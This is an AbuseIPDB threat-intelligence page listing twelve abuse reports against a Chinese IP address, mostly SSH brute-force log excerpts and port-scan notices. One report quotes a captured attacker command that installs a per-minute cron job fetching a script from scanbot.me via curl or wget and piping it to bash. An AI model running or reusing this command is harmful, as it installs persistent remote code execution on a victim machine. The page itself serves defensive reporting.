JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 61.164.120.37

61.164.120.37 was found in our database!

This IP was reported 12 times. Confidence of Abuse is 33%: ?

33%

ISP	CHINANET-ZJ Wenzhou node network
Usage Type	Fixed Line ISP
ASN	AS4134
Domain Name	hz.zj.cn
Country	🇨🇳 China
City	Wenzhou, Zhejiang

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 61.164.120.37

Whois 61.164.120.37

IP Abuse Reports for 61.164.120.37:

This IP address has been reported a total of 12 times from 7 distinct sources. 61.164.120.37 was first reported on August 4th 2025, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 8legz.net	2026-05-25 19:05:59 (1 week ago)	2026-05-25T20:05:57.054535+01:00 8legz sshd[1289503]: Invalid user rock64 from 61.164.120.37 port 22 ... show more 2026-05-25T20:05:57.054535+01:00 8legz sshd[1289503]: Invalid user rock64 from 61.164.120.37 port 22528 2026-05-25T20:05:57.305244+01:00 8legz sshd[1289503]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.164.120.37 2026-05-25T20:05:59.459258+01:00 8legz sshd[1289503]: Failed password for invalid user rock64 from 61.164.120.37 port 22528 ssh2 ... show less	Brute-Force
🇫🇷 Sysadmin Peter	2026-05-23 02:19:33 (1 week ago)	May 23 04:19:33 mail sshd[2345330]: Invalid user rock64 from 61.164.120.37 port 22528 ...	Brute-Force SSH
🇫🇷 votrewebfacile	2026-05-19 10:49:48 (2 weeks ago)	SSH abuse	SSH
🇸🇰 Spyerfox	2026-05-18 04:01:39 (2 weeks ago)	May 18 06:01:35 <server> sshd\[23898\]: User root from 61.164.120.37 not allowed because not listed ... show more May 18 06:01:35 <server> sshd\[23898\]: User root from 61.164.120.37 not allowed because not listed in AllowUsersMay 18 06:01:38 <server> sshd\[23898\]: Failed password for invalid user root from 61.164.120.37 port 44033 ssh2 ... show less	Brute-Force SSH
🇨🇳 ThreatBook.io	2026-05-17 22:08:19 (2 weeks ago)	2026-05-17 15:47:37 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2 ... show more 2026-05-17 15:47:37 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null \|\| wget -qO- http://scanbot.me/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/null \|\| wget -qO- http://scanbot.me/?gvc 2 > /dev/null"] show less	SSH
🇷🇸 Scan	2026-05-07 00:51:25 (4 weeks ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇩🇪 lister171254	2026-05-06 23:23:46 (4 weeks ago)	2026-05-07T01:13:42.394949+02:00 thelists sshd[1021204]: Connection closed by 61.164.120.37 port 102 ... show more 2026-05-07T01:13:42.394949+02:00 thelists sshd[1021204]: Connection closed by 61.164.120.37 port 1024 [preauth] 2026-05-07T01:15:59.532020+02:00 thelists sshd[1024074]: Connection closed by authenticating user root 61.164.120.37 port 22530 [preauth] 2026-05-07T01:21:33.970540+02:00 thelists sshd[1028468]: Connection closed by 61.164.120.37 port 22530 [preauth] 2026-05-07T01:23:24.060068+02:00 thelists sshd[1029351]: Connection closed by authenticating user root 61.164.120.37 port 1024 [preauth] 2026-05-07T01:23:46.156037+02:00 thelists sshd[1029590]: Invalid user first from 61.164.120.37 port 1025 ... show less	Brute-Force SSH
🇷🇸 Scan	2026-02-09 02:15:23 (3 months ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇷🇸 Scan	2026-02-01 00:30:52 (4 months ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇷🇸 Scan	2026-01-03 00:45:46 (5 months ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇷🇸 Scan	2025-08-14 01:31:26 (9 months ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇷🇸 Scan	2025-08-04 00:30:38 (10 months ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking

Showing 1 to 12 of 12 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇮🇩 157.85.211.226

🇹🇳 102.159.230.0

🇺🇸 216.25.89.76

🇧🇷 168.197.245.73

🇧🇷 149.102.251.169

🇺🇸 148.153.121.146

🇫🇷 142.252.43.29

🇸🇬 129.226.95.93

🇮🇹 93.92.77.139

🇧🇬 91.191.209.98

🇻🇪 38.190.124.124

🇻🇪 38.68.179.235

🇷🇺 217.24.185.98

🇹🇷 195.174.39.166

🇺🇸 162.216.150.76

🇧🇷 138.117.187.183

🇺🇸 72.253.251.3

🇺🇸 35.194.69.102

🇺🇸 18.225.107.147

🇨🇳 222.66.78.213